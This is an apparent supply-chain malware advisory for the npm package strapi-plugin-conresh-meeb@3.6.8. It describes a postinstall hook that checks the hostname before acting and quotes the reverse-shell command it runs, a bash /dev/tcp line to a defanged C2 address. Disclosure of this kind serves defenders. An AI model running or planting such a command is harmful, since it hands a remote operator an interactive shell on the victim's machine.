LWA-2026-12164 MAL-2026-16229 ↗ confirmed malware

strapi-plugin-conresh-meeb@3.6.8

Malicious code in strapi-plugin-conresh-meeb (npm)

T1059.007 · JavaScriptT1059 · Command and Scripting InterpreterT1071.001 · Web ProtocolsT1480 · Execution GuardrailsT1082 · System Information Discovery

Analysis

The postinstall hook (postinstall.js) opens a reverse shell to a fixed C2 endpoint. It first checks the hostname and only proceeds when it matches 'ubuntu-fc-uvm', then executes `bash -i >& /dev/tcp/14[.]225[.]210[.]85/80 0>&1`, retrying up to 5 times every 10 seconds and logging activity to /tmp/postinstall-revshell.log. Installing this package on a matching host grants the remote operator an interactive shell on the machine.

analyzed by
Leitwacht
first seen
Sep 16, 2026, 07:26 AM
analyzed
Sep 16, 2026, 07:27 AM

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Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.